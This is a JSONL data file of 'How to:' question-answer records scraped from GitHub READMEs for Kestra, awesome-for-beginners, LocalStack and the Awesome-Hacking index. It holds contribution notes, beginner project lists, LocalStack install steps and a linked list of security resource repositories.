{"id": "gh_6657eb312660", "question": "How to: Infrastructure as Code", "question_body": "About kestra-io/kestra", "answer": "- **Version Control:** store your flows in Git repositories.\n- **CI/CD Integration:** automate deployment of flows using CI/CD pipelines.\n- **Terraform Provider:** manage Kestra resources with the [official Terraform provider](https://kestra.io/docs/terraform/).\n\n---", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448583"}
{"id": "gh_2d2e0554f789", "question": "How to: 🤝 Contributing", "question_body": "About kestra-io/kestra", "answer": "We welcome contributions of all kinds!\n\n- **Report Issues:** Found a bug or have a feature request? Open an [issue on GitHub](https://github.com/kestra-io/kestra/issues).\n- **Contribute Code:** Check out our [Contributor Guide](https://kestra.io/docs/getting-started/contributing) for initial guidelines, and explore our [good first issues](https://go.kestra.io/contributing) for beginner-friendly tasks to tackle first.\n- **Develop Plugins:** Build and share plugins using our [Plugin Developer Guide](https://kestra.io/docs/plugin-developer-guide/).\n- **Contribute to our Docs:** Contribute edits or updates to keep our [documentation](https://github.com/kestra-io/docs) top-notch.\n\n---", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448600"}
{"id": "gh_dea1052af8dc", "question": "How to: ⭐️ Stay Updated", "question_body": "About kestra-io/kestra", "answer": "Give our repository a star to stay informed about the latest features and updates!\n\n[![Star the Repo](https://kestra.io/star.gif)](https://github.com/kestra-io/kestra)\n\n---\n\nThank you for considering Kestra for your workflow orchestration needs. We can't wait to see what you'll build!", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448608"}
{"id": "gh_145574120bb8", "question": "How to: Awesome First Pull Request Opportunities [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome)", "question_body": "About MunGell/awesome-for-beginners", "answer": "Inspired by [First Timers Only](https://kentcdodds.com/blog/first-timers-only) blog post.\n\nIf you are a maintainer of open-source projects, add the label `first-timers-only` (or similar) to your project and list it here so that people can find it.\n\nIf you are not a programmer but would like to contribute, check out the [Awesome for non-programmers](https://github.com/szabgab/awesome-for-non-programmers) list.\n\nIf you would like to be guided through how to contribute to a repository on GitHub, check out [the First Contributions repository](https://github.com/firstcontributions/first-contributions).\n\n> [!TIP]\n> All links open in the same tab. If you want to open in a new tab, use `Ctrl + Click` (Windows/Linux) or `Cmd + Click` (Mac).", "tags": ["MunGell"], "source": "github_gists", "category": "MunGell", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 81736, "answer_score": 10, "has_code": false, "url": "https://github.com/MunGell/awesome-for-beginners", "collected_at": "2026-01-17T08:17:21.206871"}
{"id": "gh_20d56ef55f9e", "question": "How to: Table of Contents:", "question_body": "About MunGell/awesome-for-beginners", "answer": "||Languages|\n|--|--|\n|Misc|[.NET](#net)|\n|A|[Angular](#angular), [Ansible](#ansible)|\n|C|[C](#c), [C#](#c-1), [C++](#c-2), [Clojure](#clojure), [CSS](#css)|\n|D|[Dart](#dart)|\n|E|[Elixir](#elixir), [Elm](#elm)|\n|G|[Go](#go)|\n|H|[Haskell](#haskell)|\n|J|[Java](#java), [JavaScript](#javascript), [JSON](#json), [Julia](#julia)|\n|K|[Kotlin](#kotlin)|\n|M|[Markdown](#markdown), [MLOps](#mlops)|\n|P|[Perl](#perl), [PHP](#php), [Pug](#pug), [Python](#python)|\n|R|[Ruby](#ruby), [Rust](#rust)|\n|S|[Scala](#scala), [Smalltalk](#smalltalk), [Swift](#swift)|\n|T|[TypeScript](#typescript)|", "tags": ["MunGell"], "source": "github_gists", "category": "MunGell", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81736, "answer_score": 10, "has_code": false, "url": "https://github.com/MunGell/awesome-for-beginners", "collected_at": "2026-01-17T08:17:21.206888"}
{"id": "gh_da2841785da8", "question": "How to: JavaScript", "question_body": "About MunGell/awesome-for-beginners", "answer": "- [altair](https://github.com/imolorhe/altair) _(label: good first issue)_\nA beautiful feature-rich GraphQL Client for all platforms.\n- [Ancient Beast](https://github.com/FreezingMoon/AncientBeast) _(label: easy)_\nTurn based strategy game where you 3d print a squad of creatures with unique abilities in order to defeat your enemies.\n- [appsmith](https://github.com/appsmithorg/appsmith) _(label: good first issue)_\nDrag & Drop internal tool builder\n- [AVA](https://github.com/sindresorhus/ava) _(label: good-for-beginner)_\nFuturistic test runner.\n- [Babel](https://github.com/babel/babel) _(label: good first issue)_\nA compiler for writing next generation JavaScript.\n- [Berry - Active development trunk for Yarn](https://github.com/yarnpkg/berry) _(label: good first issue)_\nFast, reliable, and secure dependency management.\n- [Botpress](https://github.com/botpress/botpress) _(label: contributor-friendly)_\nThe only sane way to build great bots.\n- [Brave Browser](https://github.com/brave/brave-browser) _(label: good first issue)_\nDesktop browser for macOS, Windows, and Linux.\n- [Check It Out](https://github.com/jwu910/check-it-out) _(label: good first issue)_\nCheck It Out is an ncurses-like CLI to let the user interactively navigate and select a git branch to check out.\n- [Create React App](https://github.com/facebook/create-react-app) _(label: good first issue)_\nCreate React apps with no build configuration.\n- [cypress](https://github.com/cypress-io/cypress) _(label: good first issue)_\nFast, easy and reliable testing for anything that runs in a browser.\n- [electron](https://github.com/electron/electron) _(label: good first issue)_\nBuild cross platform desktop apps with JavaScript, HTML, and CSS\n- [Ember.js](https://github.com/emberjs/ember.js) _(label: Good-for-New-Contributors)_\nA JavaScript framework for creating ambitious web applications.\n- [Ember.js Data](https://github.com/emberjs/data) _(label: Good-for-New-Contributors)_\nA data persistence library for Ember.js.\n- [ESLint](https://github.com/eslint/eslint) _(label: good first issue)_\nA fully pluggable tool for identifying and reporting on patterns in JavaScript.\n- [eslint-plugin-unicorn](https://github.com/sindresorhus/eslint-plugin-unicorn) _(label: good-for-beginner)_\nAwesome ESLint rules.\n- [Fastify](https://github.com/fastify/fastify) _(label: good first issue)_\nFast and low overhead web framework, for Node.js.\n- [freeCodeCamp](https://github.com/freeCodeCamp/freeCodeCamp) _(label: first-timers-only)_\nOpen source codebase and curriculum. Learn to code and help nonprofits.\n- [Gatsby.js](https://github.com/gatsbyjs/gatsby) _(label: good first issue)_\nBuild blazing fast, modern apps and websites with React.\n- [Ghost](https://github.com/TryGhost/Ghost) _(label: good first issue)_\nJust a blogging platform\n- [grommet](https://github.com/grommet/grommet) _(label: good first issue)_\na react-based framework that provides accessibility, modularity, responsiveness, and theming in a tidy package\n- [Habitica](https://github.com/HabitRPG/habitica) _(label: good first issue)_\nHabitica is a gamified task manager, webapp and android/ios app, really wonderful atmosphere. Guidance for contributing here (mongo, express, vue, node stack for webapp)\n- [HMPL](https://github.com/hmpl-language/hmpl) _(label: good first issue)_\nServer-oriented customizable templating for JavaScript.\n- [Hoppscotch](https://github.com/hoppscotch/hoppscotch) _(label: good first issue)_\nA free, fast and beautiful API request builder.\n- [HueHive](https://github.com/croma-app/croma) _(label: good first issue)_\nAn open source react native app iOS and android for color palette management\n- [iD](https://github.com/openstreetmap/iD) _(label: new contributor opportunity)_\nThe easy-to-use OpenStreetMap editor in JavaScript.\n- [ImprovedTube](https://github.com/code-charity/youtube) _(label: good first issue)_\nA powerful but lightweight extension, to enrich your video experience & enable your content selection.\n- [Jasmine](https://github.com/jasmine/jasmine) _(label: good first issue)_\nSimple JavaScript testing framework for browsers and node.js.\n- [Jest](https://github.com/facebook/jest) _(label: good first issue)_\nA complete and easy to set up JavaScript testing solution.\n- [Kinto.js](https://github.com/Kinto/kinto.js) _(label: easy-pick)_\nAn offline-first JavaScript client leveraging the Kinto API for remote data synchronization.\n- [Leaflet](https://github.com/Leaflet/Leaflet) _(label: good first issue)_\nJavaScript library for mobile-friendly interactive maps.\n- [material-ui](https://github.com/mui/material-ui) _(label: good first issue)_\nReact components for faster and easier web development. Build your own design system, or start with Material Design.\n- [Mattermost](https://github.com/mattermost/mattermost) _(label: Good First Issue, Difficulty/1:Eas", "tags": ["MunGell"], "source": "github_gists", "category": "MunGell", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 81736, "answer_score": 10, "has_code": false, "url": "https://github.com/MunGell/awesome-for-beginners", "collected_at": "2026-01-17T08:17:21.206953"}
{"id": "gh_8a2222420d1b", "question": "How to: TypeScript", "question_body": "About MunGell/awesome-for-beginners", "answer": "- [activist](https://github.com/activist-org/activist) _(label: good first issue)_\nactivist.org is a network for political action that allows people to coordinate and collaborate on the issues that matter most to them.\n- [Amplication](https://github.com/amplication/amplication) _(label: good first issue)_\nAmplication is an open-source development tool. It helps you develop quality Node.js applications without spending time on repetitive coding tasks.\n- [Berry - Active development trunk for Yarn](https://github.com/yarnpkg/berry) _(label: good first issue)_\nFast, reliable, and secure dependency management.\n- [Booster](https://github.com/boostercloud/booster) _(label: good first issue)_\nA truly serverless framework, write your code and deploy it in seconds without any server configuration files.\n- [Devopness](https://github.com/devopness/devopness) _(label: good first issue)_\nDeploy any software to any cloud: automated DevOps workflows to save software teams time and money.\n- [DocsGPT](https://github.com/arc53/DocsGPT) _(label: good first issue)_\nOpen-source RAG assistant that helps users get reliable answers from knowledge sources while avoiding hallucinations.\n- [Graphback](https://github.com/aerogear/graphback) _(label: good first issue)_\nA CLI and runtime framework to generate a GraphQL API in seconds.\n- [H2O Wave](https://github.com/h2oai/wave) _(label: good first issue)_\nRealtime Web Apps and Dashboards framework for Python and R. Suited (not only) for AI audience.\n- [Hasura GraphQL Engine](https://github.com/hasura/graphql-engine) _(label: good first issue)_\nBlazing fast, instant realtime GraphQL APIs on Postgres with fine grained access control, also trigger webhooks on database events.\n- [Impler.io](https://github.com/implerhq/impler.io) _(label: good first issue)_\n100% open source data import experience with readymade CSV & Excel import widget 🚀\n- [IterTools TS](https://github.com/Smoren/itertools-ts) _(label: good first issue)_\nExtended itertools port for TypeScript and JavaScript. Provides a huge set of functions for working with iterable collections (including async ones).\n- [LinksHub](https://github.com/rupali-codes/LinksHub) _(label: good first issue)_\nLinksHub aims to provide developers with access to a wide range of free resources and tools that they can use in their work.\n- [LitmusChaos](https://github.com/litmuschaos/litmus) _(label: good first issue)_\nLitmus is a toolset to do cloud-native chaos engineering.\n- [Manifest](https://github.com/mnfst/manifest) _(label: good first issue)_\nManifest is an open-source Backend-as-a-Service allowing developers to create a backend easily and quickly.\n- [Metabase](https://github.com/metabase/metabase) _(label: good first issue)_\nOpen source business intelligence and analytics platform\n- [OpenMetadata](https://github.com/open-metadata/OpenMetadata) _(label: good first issue)_\nOpenMetadata is an all-in-one platform for data discovery, data quality, observability, governance, data lineage, and team collaboration.\n- [Oppia](https://github.com/oppia/oppia) _(label: good first issue)_\nOppia is an open-source project whose aim is to empower learners across the globe by providing access to high-quality, engaging education. We envision a society in which access to high-quality education is a human right rather than a privilege.\n- [Readest](https://github.com/readest/readest) _(label: good first issue)_\nA modern, feature-rich ebook reader designed for avid readers offering seamless cross-platform access, powerful tools, and an intuitive interface.\n- [reatom](https://github.com/artalar/reatom) _(label: good first issue)_\nReatom is declarative and reactive state manager, designed for both simple and complex applications.\n- [Storybook JS](https://github.com/storybookjs/storybook) _(label: good first issue)_\nStorybook is a frontend workshop for building UI components and pages in isolation.\n- [supabase](https://github.com/supabase/supabase) _(label: good first issue)_\nThe open source Firebase alternative. Supabase gives you a dedicated Postgres database to build your web, mobile, and AI applications.\n- [tinyhttp](https://github.com/talentlessguy/tinyhttp) _(label: good first issue)_\nA 0-legacy, tiny & fast web framework as a replacement of Express.\n- [TypeScript](https://github.com/Microsoft/TypeScript) _(label: good first issue)_\nA superset of JavaScript that compiles to clean JavaScript output.\n- [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint) _(label: good first issue)_\nMonorepo for all the tooling which enables ESLint to support TypeScript.\n- [Visual Studio Code](https://github.com/Microsoft/vscode) _(label: good first issue)_\nA code editor redefined and optimized for building and debugging modern web and cloud applications.\n- [Vite](https://github.com/vitejs/vite) _(label: good first issue)_\nNext generatio", "tags": ["MunGell"], "source": "github_gists", "category": "MunGell", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 81736, "answer_score": 10, "has_code": false, "url": "https://github.com/MunGell/awesome-for-beginners", "collected_at": "2026-01-17T08:17:21.207006"}
{"id": "gh_5fc8be67b72b", "question": "How to: Contribute", "question_body": "About MunGell/awesome-for-beginners", "answer": "Contributions are welcome! See the [contributing guidelines](CONTRIBUTING.md).", "tags": ["MunGell"], "source": "github_gists", "category": "MunGell", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 81736, "answer_score": 10, "has_code": false, "url": "https://github.com/MunGell/awesome-for-beginners", "collected_at": "2026-01-17T08:17:21.207012"}
{"id": "gh_99191d1d5789", "question": "How to: Thanks to GitHub Sponsors", "question_body": "About MunGell/awesome-for-beginners", "answer": "Thanks to [Warp.dev](https://go.warp.dev/awesome-for-beginners) for sponsoring this repository through a donation to a charity of my choice.\nMichał Gołkowski", "tags": ["MunGell"], "source": "github_gists", "category": "MunGell", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 81736, "answer_score": 10, "has_code": false, "url": "https://github.com/MunGell/awesome-for-beginners", "collected_at": "2026-01-17T08:17:21.207019"}
{"id": "gh_cf24894917e5", "question": "How to: Brew (macOS or Linux with Homebrew)", "question_body": "About localstack/localstack", "answer": "Install the LocalStack CLI through our [official LocalStack Brew Tap](https://github.com/localstack/homebrew-tap):\n\n```bash\nbrew install localstack/tap/localstack-cli\n```", "tags": ["localstack"], "source": "github_gists", "category": "localstack", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 64079, "answer_score": 10, "has_code": true, "url": "https://github.com/localstack/localstack", "collected_at": "2026-01-17T08:17:50.945456"}
{"id": "gh_046d8c3a078a", "question": "How to: Binary download (macOS, Linux, Windows)", "question_body": "About localstack/localstack", "answer": "If Brew is not installed on your machine, you can download the pre-built LocalStack CLI binary directly:\n\n- Visit [localstack/localstack-cli](https://github.com/localstack/localstack-cli/releases/latest) and download the latest release for your platform.\n- Extract the downloaded archive to a directory included in your `PATH` variable:\n    -   For macOS/Linux, use the command: `sudo tar xvzf ~/Downloads/localstack-cli-*-darwin-*-onefile.tar.gz -C /usr/local/bin`", "tags": ["localstack"], "source": "github_gists", "category": "localstack", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 64079, "answer_score": 10, "has_code": true, "url": "https://github.com/localstack/localstack", "collected_at": "2026-01-17T08:17:50.945469"}
{"id": "gh_771d99a6847c", "question": "How to: PyPI (macOS, Linux, Windows)", "question_body": "About localstack/localstack", "answer": "LocalStack is developed using Python. To install the LocalStack CLI using `pip`, run the following command:\n\n```bash\npython3 -m pip install localstack\n```\n\nThe `localstack-cli` installation enables you to run the Docker image containing the LocalStack runtime. To interact with the local AWS services, you need to install the `awslocal` CLI separately. For installation guidelines, refer to the [`awslocal` documentation](https://docs.localstack.cloud/user-guide/integrations/aws-cli/#localstack-aws-cli-awslocal).\n\n> **Important**: Do not use `sudo` or run as `root` user. LocalStack must be installed and started entirely under a local non-root user. If you have problems with permissions in macOS High Sierra, install with `pip install --user localstack`", "tags": ["localstack"], "source": "github_gists", "category": "localstack", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 64079, "answer_score": 10, "has_code": true, "url": "https://github.com/localstack/localstack", "collected_at": "2026-01-17T08:17:50.945475"}
{"id": "gh_85d1251e15cb", "question": "How to: Quickstart", "question_body": "About localstack/localstack", "answer": "Start LocalStack inside a Docker container by running:\n\n```bash\n % localstack start -d\n\n     __                     _______ __             __\n    / /   ____  _________ _/ / ___// /_____ ______/ /__\n   / /   / __ \\/ ___/ __ `/ /\\__ \\/ __/ __ `/ ___/ //_/\n  / /___/ /_/ / /__/ /_/ / /___/ / /_/ /_/ / /__/ ,<\n /_____/\\____/\\___/\\__,_/_//____/\\__/\\__,_/\\___/_/|_|\n\n- LocalStack CLI: 4.9.0\n- Profile: default\n- App: https://app.localstack.cloud\n\n[17:00:15] starting LocalStack in Docker mode 🐳               localstack.py:512\n           preparing environment                               bootstrap.py:1322\n           configuring container                               bootstrap.py:1330\n           starting container                                  bootstrap.py:1340\n[17:00:16] detaching                                           bootstrap.py:1344\n```\n\nYou can query the status of respective services on LocalStack by running:\n\n```bash\n% localstack status services\n┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┓\n┃ Service                  ┃ Status      ┃\n┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━┩\n│ acm                      │ ✔ available │\n│ apigateway               │ ✔ available │\n│ cloudformation           │ ✔ available │\n│ cloudwatch               │ ✔ available │\n│ config                   │ ✔ available │\n│ dynamodb                 │ ✔ available │\n...\n```\n\nTo use SQS, a fully managed distributed message queuing service, on LocalStack, run:\n\n```shell\n% awslocal sqs create-queue --queue-name sample-queue\n{\n    \"QueueUrl\": \"http://sqs.us-east-1.localhost.localstack.cloud:4566/000000000000/sample-queue\"\n}\n```\n\nLearn more about [LocalStack AWS services](https://docs.localstack.cloud/references/coverage/) and using them with LocalStack's `awslocal` CLI.", "tags": ["localstack"], "source": "github_gists", "category": "localstack", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 64079, "answer_score": 10, "has_code": true, "url": "https://github.com/localstack/localstack", "collected_at": "2026-01-17T08:17:50.945488"}
{"id": "gh_9b671df605c2", "question": "How to: Contributing", "question_body": "About localstack/localstack", "answer": "If you are interested in contributing to LocalStack:\n\n- Start by reading our [contributing guide](docs/CONTRIBUTING.md).\n- Check out our [development environment setup guide](docs/development-environment-setup/README.md).\n- Navigate our codebase and [open issues](https://github.com/localstack/localstack/issues).\n\nWe are thankful for all the contributions and feedback we receive.", "tags": ["localstack"], "source": "github_gists", "category": "localstack", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 64079, "answer_score": 10, "has_code": false, "url": "https://github.com/localstack/localstack", "collected_at": "2026-01-17T08:17:50.945496"}
{"id": "gh_00f4e5417acb", "question": "How to: Get in touch", "question_body": "About localstack/localstack", "answer": "Get in touch with the LocalStack Team to\nreport 🐞 [issues](https://github.com/localstack/localstack/issues/new/choose),\nupvote 👍 [feature requests](https://github.com/localstack/localstack/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc+),\n🙋🏽 ask [support questions](https://docs.localstack.cloud/getting-started/help-and-support/),\nor 🗣️ discuss local cloud development:\n\n- [LocalStack Slack Community](https://localstack.cloud/slack/)\n- [LocalStack GitHub Issue tracker](https://github.com/localstack/localstack/issues)", "tags": ["localstack"], "source": "github_gists", "category": "localstack", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 64079, "answer_score": 10, "has_code": false, "url": "https://github.com/localstack/localstack", "collected_at": "2026-01-17T08:17:50.945503"}
{"id": "gh_0aa623602c64", "question": "How to: Contributors", "question_body": "About localstack/localstack", "answer": "We are thankful to all the people who have contributed to this project.", "tags": ["localstack"], "source": "github_gists", "category": "localstack", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 64079, "answer_score": 10, "has_code": false, "url": "https://github.com/localstack/localstack", "collected_at": "2026-01-17T08:17:50.945508"}
{"id": "gh_06851222700c", "question": "How to: Awesome Repositories", "question_body": "About Hack-with-Github/Awesome-Hacking", "answer": "Repository | Description\n---- | ----\n[Android Security](https://github.com/ashishb/android-security-awesome) \t\t\t| Collection of Android security related resources\n[AppSec](https://github.com/paragonie/awesome-appsec)\t\t\t\t\t\t\t\t| Resources for learning about application security\n[Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery)    | List of resources which help during asset discovery phase of a security assessment engagement\n[Bug Bounty](https://github.com/djadmin/awesome-bug-bounty) \t\t\t\t\t\t| List of Bug Bounty Programs and write-ups from the Bug Bounty hunters\n[Capsulecorp Pentest](https://github.com/r3dy/capsulecorp-pentest) \t\t\t\t\t\t| Vagrant+Ansible virtual network penetration testing lab. Companion to \"The Art of Network Penetration Testing\" by Royce Davis \n[Celluar Hacking](https://github.com/W00t3k/Awesome-Cellular-Hacking)    | This is a list of hacking research in the 3G/4G/5G cellular security space. \n[CTF](https://github.com/apsdehal/awesome-ctf) \t\t\t\t\t\t\t\t\t\t| List of CTF frameworks, libraries, resources and softwares\n[Cyber Skills](https://github.com/joe-shenouda/awesome-cyber-skills) | Curated list of hacking environments where you can train your cyber skills legally and safely\n[DevSecOps](https://github.com/devsecops/awesome-devsecops) \t\t\t\t\t\t| List of awesome DevSecOps tools with the help from community experiments and contributions\n[Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security) | A curated list of awesome resources about embedded and IoT security\n[Exploit Development](https://github.com/FabioBaroni/awesome-exploit-development) \t| Resources for learning about Exploit Development\n[Fuzzing](https://github.com/secfigo/Awesome-Fuzzing) \t\t\t\t\t\t\t\t| List of fuzzing resources for learning Fuzzing and initial phases of Exploit Development like root cause analysis\n[Hacking](https://github.com/carpedm20/awesome-hacking) \t\t\t\t\t\t| List of awesome Hacking tutorials, tools and resources\n[Hacking Resources](https://github.com/vitalysim/Awesome-Hacking-Resources)          | Collection of hacking / penetration testing resources to make you better!\n[Honeypots](https://github.com/paralax/awesome-honeypots) \t\t\t\t\t\t\t| List of honeypot resources\n[Incident Response](https://github.com/meirwah/awesome-incident-response) \t\t\t| List of tools for incident response\n[Industrial Control System Security](https://github.com/hslatman/awesome-industrial-control-system-security)      | List of resources related to Industrial Control System (ICS) security\n[InfoSec](https://github.com/onlurking/awesome-infosec) \t\t\t\t\t\t\t| List of awesome infosec courses and training resources\n[IoT Hacks](https://github.com/nebgnahz/awesome-iot-hacks) \t\t\t\t\t\t\t| Collection of Hacks in IoT Space\n[Mainframe Hacking](https://github.com/samanL33T/Awesome-Mainframe-Hacking) \t\t\t\t| List of Awesome Mainframe Hacking/Pentesting Resources\n[Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) \t\t\t\t| List of awesome malware analysis tools and resources\n[OSINT](https://github.com/jivoi/awesome-osint) \t\t\t\t\t\t\t\t\t | List of amazingly awesome Open Source Intelligence (OSINT) tools and resources\n[OSX and iOS Security](https://github.com/ashishb/osx-and-ios-security-awesome) \t| OSX and iOS related security tools\n[Pcaptools](https://github.com/caesar0301/awesome-pcaptools) \t\t\t\t\t\t| Collection of tools developed by researchers in the Computer Science area to process network traces\n[Pentest](https://github.com/enaqx/awesome-pentest) \t\t\t\t\t\t\t\t| List of awesome penetration testing resources, tools and other shiny things\n[PHP Security](https://github.com/ziadoz/awesome-php#security) \t\t\t\t\t\t| Libraries for generating secure random numbers, encrypting data and scanning for vulnerabilities\n[Real-time Communications hacking & pentesting resources](https://github.com/EnableSecurity/awesome-rtc-hacking) | Covers VoIP, WebRTC and VoLTE security related topics\n[Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) | List of Awesome Red Team / Red Teaming Resources\n[Reversing](https://github.com/fdivrp/awesome-reversing) \t\t\t\t\t\t| List of awesome reverse engineering resources\n[Reinforcement Learning for Cyber Security](https://github.com/Limmen/awesome-rl-for-cybersecurity) \t\t\t\t\t\t\t| List of awesome reinforcement learning for security resources\n[Sec Talks](https://github.com/PaulSec/awesome-sec-talks) \t\t\t\t\t\t\t| List of awesome security talks\n[SecLists](https://github.com/danielmiessler/SecLists) \t\t\t\t\t\t\t\t| Collection of multiple types of lists used during security assessments\n[Security](https://github.com/sbilly/awesome-security) \t\t\t\t\t\t\t\t| Collection of awesome software, libraries, documents, books, resources and cools stuffs about security\n[Serverless Security](https://github.com/puresec/awesome-serverless-security/) \t\t\t| Collection of Serverless security related resources\n[Social Engineering](https://github.com/v2-dev/awesome-social-engineering) | List of awesome social engineering resources\n[Static Analysis", "tags": ["Hack-with-Github"], "source": "github_gists", "category": "Hack-with-Github", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104804, "answer_score": 10, "has_code": true, "url": "https://github.com/Hack-with-Github/Awesome-Hacking", "collected_at": "2026-01-17T08:17:56.808118"}
{"id": "gh_4ba80c9fee00", "question": "How to: Other Useful Repositories", "question_body": "About Hack-with-Github/Awesome-Hacking", "answer": "Repository | Description\n---- | ----\n[Adversarial Machine Learning](https://github.com/yenchenlin/awesome-adversarial-machine-learning) | Curated list of awesome adversarial machine learning resources\n[AI Security](https://github.com/RandomAdversary/Awesome-AI-Security) | Curated list of AI security resources\n[API Security Checklist](https://github.com/shieldfy/API-Security-Checklist) | Checklist of the most important security countermeasures when designing, testing, and releasing your API\n[APT Notes](https://github.com/kbandla/APTnotes) \t\t\t\t\t\t\t\t\t| Various public documents, whitepapers and articles about APT campaigns\n[Bug Bounty Reference](https://github.com/ngalongc/bug-bounty-reference) \t\t\t| List of bug bounty write-up that is categorized by the bug nature\n[Cryptography](https://github.com/sobolevn/awesome-cryptography) | Cryptography resources and tools\n[CTF Tool](https://github.com/SandySekharan/CTF-tool) \t\t\t\t\t\t\t\t| List of Capture The Flag (CTF) frameworks, libraries, resources and softwares\n[CVE PoC](https://github.com/qazbnm456/awesome-cve-poc) | List of CVE Proof of Concepts (PoCs)\n[CVE PoC updated daily](https://github.com/trickest/cve) | List of CVE Proof of Concepts (PoCs) updated daily by Trickest\n[CyberChef](https://gchq.github.io/CyberChef/) | A simple, intuitive web app for analysing and decoding data without having to deal with complex tools or programming languages.\n[Detection Lab](https://github.com/clong/DetectionLab)                              |  Vagrant & Packer scripts to build a lab environment complete with security tooling and logging best practices\n[Forensics](https://github.com/Cugu/awesome-forensics) \t\t\t\t\t\t\t\t| List of awesome forensic analysis tools and resources\n[Free Programming Books](https://github.com/EbookFoundation/free-programming-books) \t\t\t| Free programming books for developers\n[Gray Hacker Resources](https://github.com/bt3gl/Gray-Hacker-Resources) \t\t\t| Useful for CTFs, wargames, pentesting\n[GTFOBins](https://gtfobins.github.io)\t| A curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions\n[Hacker101](https://github.com/Hacker0x01/hacker101) | A free class for web security by HackerOne\n[Infosec Getting Started](https://github.com/gradiuscypher/infosec_getting_started)\t\t\t\t\t| A collection of resources, documentation, links, etc to help people learn about Infosec\n[Infosec Reference](https://github.com/rmusser01/Infosec_Reference) \t\t\t\t| Information Security Reference That Doesn't Suck\n[IOC](https://github.com/sroberts/awesome-iocs) \t\t\t\t\t\t\t\t\t| Collection of sources of indicators of compromise\n[Linux Kernel Exploitation](https://github.com/xairy/linux-kernel-exploitation) | A bunch of links related to Linux kernel fuzzing and exploitation\n[Lockpicking](https://github.com/meitar/awesome-lockpicking) | Resources relating to the security and compromise of locks, safes, and keys.\n[Machine Learning for Cyber Security](https://github.com/jivoi/awesome-ml-for-cybersecurity)   | Curated list of tools and resources related to the use of machine learning for cyber security\n[Payloads](https://github.com/foospidy/payloads)  | Collection of web attack payloads\n[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)   | List of useful payloads and bypass for Web Application Security and Pentest/CTF\n[Pentest Cheatsheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets)\t\t| Collection of the cheat sheets useful for pentesting\n[Pentest Wiki](https://github.com/nixawk/pentest-wiki) \t\t\t\t\t\t\t\t| A free online security knowledge library for pentesters / researchers\n[Probable Wordlists](https://github.com/berzerk0/Probable-Wordlists)  | Wordlists sorted by probability originally created for password generation and testing\n[Resource List](https://github.com/FuzzySecurity/Resource-List) \t\t\t\t\t| Collection of useful GitHub projects loosely categorised\n[Reverse Engineering](https://github.com/onethawt/reverseengineering-reading-list)   | List of Reverse Engineering articles, books, and papers\n[RFSec-ToolKit](https://github.com/cn0xroot/RFSec-ToolKit)  | Collection of Radio Frequency Communication Protocol Hacktools\n[Security Cheatsheets](https://github.com/andrewjkerr/security-cheatsheets) \t\t| Collection of cheatsheets for various infosec tools and topics\n[Security List](https://github.com/zbetcheckin/Security_list)\t\t\t\t\t\t | Great security list for fun and profit\n[Shell](https://github.com/alebcay/awesome-shell) \t\t\t\t\t\t\t\t\t| List of awesome command-line frameworks, toolkits, guides and gizmos to make complete use of shell\n[ThreatHunter-Playbook](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook) | A Threat hunter's playbook to aid the development of techniques and hypothesis for hunting campaigns\n[Web Security](https://github.com/qazbnm456/awesome-web-security) | Curated list of Web Security materials and resources\n[Vulhub](https://github.com/vulhub/vulhub) | Pre-Built Vulnerable Environments Based on Docker-Compose", "tags": ["Hack-with-Github"], "source": "github_gists", "category": "Hack-with-Github", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104804, "answer_score": 10, "has_code": true, "url": "https://github.com/Hack-with-Github/Awesome-Hacking", "collected_at": "2026-01-17T08:17:56.808142"}
{"id": "gh_8d5f42132d9b", "question": "How to: Need More ?", "question_body": "About Hack-with-Github/Awesome-Hacking", "answer": "Follow **Hack with GitHub** on your favorite social media to get daily updates on interesting GitHub repositories related to Security.\n - Twitter : [@HackwithGithub](https://twitter.com/HackwithGithub)\n - Facebook : [HackwithGithub](https://www.facebook.com/HackwithGithub)", "tags": ["Hack-with-Github"], "source": "github_gists", "category": "Hack-with-Github", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 104804, "answer_score": 10, "has_code": false, "url": "https://github.com/Hack-with-Github/Awesome-Hacking", "collected_at": "2026-01-17T08:17:56.808149"}
